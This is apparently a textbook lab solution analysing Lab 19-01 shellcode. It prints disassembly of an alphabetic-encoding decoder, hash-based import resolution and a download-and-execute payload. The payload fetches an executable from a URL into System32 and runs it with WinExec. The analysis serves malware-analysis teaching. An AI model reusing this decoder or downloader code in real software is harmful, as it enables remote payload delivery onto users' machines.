The shellcode is stored with an alphabetic encoding; each payload byte is stored in the low nibble of two encoded bytes.
The shellcode resolves the following functions:
LoadLibraryA
GetSystemDirectoryA
TerminateProcess
GetCurrentProcess
WinExec
URLDownloadToFileA
The shellcode downloads this URL:
http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe
The shellcode writes %SystemRoot%\System32\1.exe and executes it.
The shellcode downloads a file from a URL stored within the encoded payload, writes it to disk, and executes it.
You can perform dynamic analysis with the shellcode_launcher.exe utility with the following command line:
shellcode_launcher.exe –i Lab19-01.bin -bp
The –bp option causes the program to execute a
breakpoint instruction just prior to jumping to the shellcode buffer. If the system is configured
with a just-in-time debugger, the breakpoint instruction will cause
shellcode_launcher.exe to be loaded by the debugger (as discussed in Chapter 19). You can set OllyDbg as your just-in-time debugger by selecting
Options ▸ Just-in-Time Debugging ▸ Make OllyDbg Just-in-Time
Debugger. If you do not set a just-in-time debugger, you can still run the program by
specifying the shellcode_launcher.exe program as the executable to debug, but
you must also be sure to provide the program arguments as well.
The shellcode decoder starts at ❶ in Example C-188. It uses an alphabetic encoding with each
encoded byte between 0x41 (A) and 0x50 (P). Each payload
byte is stored in the low 4-bit nibble of two encoded bytes. The decoder loads each pair of encoded
bytes, subtracts the base value 0x41, shifts and adds the two values, and stores the value back to
memory. The push shown at ❷ is used to transfer control to the payload with the retn at ❸.
Example C-188. Shellcode decoder with alphabetic encoding
00000200 xor ecx, ecx ❶ 00000202 mov cx, 18Dh 00000206 jmp short loc_21F 00000208 00000208 pop esi 00000209 push esi ❷ 0000020A mov edi, esi 0000020C loc_20C: 0000020C lodsb 0000020D mov dl, al 0000020F sub dl, 41h ; 'A' 00000212 shl dl, 4 00000215 lodsb 00000216 sub al, 41h ; 'A' 00000218 add al, dl 0000021A stosb 0000021B dec ecx 0000021C jnz short loc_20C 0000021E retn ❸ 0000021F loc_21F: 0000021F call sub_208
The start of the decoded payload begins at offset 0x224, where the code again performs a
call/pop pair to obtain a
pointer to data stored at the end of the payload. Two strings are stored here: URLMON and the URL http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe.
The shellcode uses the same findKernel32Base and findSymbolByHash functions described in Chapter 19 to manually resolve import functions. The findKernel32Base
function returns the location of kernel32.dll in memory, and the findSymbolByHash function manually parses the provided DLL in memory,
looking for the export symbol whose name hashes to the given DWORD value. These function pointers are stored back onto the stack for use later. Example C-189 shows the decoded shellcode searching for function
imports.
Example C-189. Shellcode resolving imports
000002BF pop ebx 000002C0 call findKernel32Base 000002C5 mov edx, eax 000002C7 push 0EC0E4E8Eh ; kernel32.dll:LoadLibraryA 000002CC push edx 000002CD call findSymbolByHash 000002D2 mov [ebp-4], eax 000002D5 push 0B8E579C1h ; kernel32.dll:GetSystemDirectoryA 000002DA push edx 000002DB call findSymbolByHash 000002E0 mov [ebp-8], eax 000002E3 push 78B5B983h ; kernel32.dll:TerminateProcess 000002E8 push edx 000002E9 call findSymbolByHash 000002EE mov [ebp-0Ch], eax 000002F1 push 7B8F17E6h ; kernel32.dll:GetCurrentProcess 000002F6 push edx 000002F7 call findSymbolByHash 000002FC mov [ebp-10h], eax 000002FF push 0E8AFE98h ; kernel32.dll:WinExec 00000304 push edx 00000305 call findSymbolByHash 0000030A mov [ebp-14h], eax 0000030D lea eax, [ebx] 0000030F push eax 00000310 call dword ptr [ebp-4] ; LoadLibraryA 00000313 push 702F1A36h ; urlmon.dll:URLDownloadToFileA 00000318 push eax 00000319 call findSymbolByHash
Example C-190 shows the main functionality of the shellcode. The
malware retrieves the system directory at ❶, and then
appends the string 1.exe at ❷. This is used as the local filesystem path argument to URLDownloadToFileA called at ❸. This function
is commonly found in shellcode. One function call performs an HTTP GET to the URL the code specifies and stores it at the specified file path. Here, the URL
is the string stored at the end of the decoded shellcode. Finally, the shellcode executes the
downloaded file at ❹ before cleanly exiting.
Example C-190. Shellcode payload
0000031E mov [ebp-18h], eax 00000321 push 80h 00000326 lea edi, [ebx+48h] 00000329 push edi 0000032A call dword ptr [ebp-8] ; GetSystemDirectoryA ❶ 0000032D add edi, eax 0000032F mov dword ptr [edi], 652E315Ch ; "\\1.e" ❷ 00000335 mov dword ptr [edi+4], 6578h ; "xe\x00" 0000033C xor ecx, ecx 0000033E push ecx 0000033F push ecx 00000340 lea eax, [ebx+48h] 00000343 push eax ; localFileSystemPath 00000344 lea eax, [ebx+7] 00000347 push eax ; URL to download 00000348 push ecx 00000349 call dword ptr [ebp-18h] ; URLDownloadToFileA ❸ 0000034C push 5 00000351 lea eax, [ebx+48h] ; path to executable 00000354 push eax 00000355 call dword ptr [ebp-14h] ; WinExec ❹ 00000358 call dword ptr [ebp-10h] ; GetCurrentProcess 0000035B push 0 00000360 push eax 00000361 call dword ptr [ebp-0Ch] ; TerminateProcess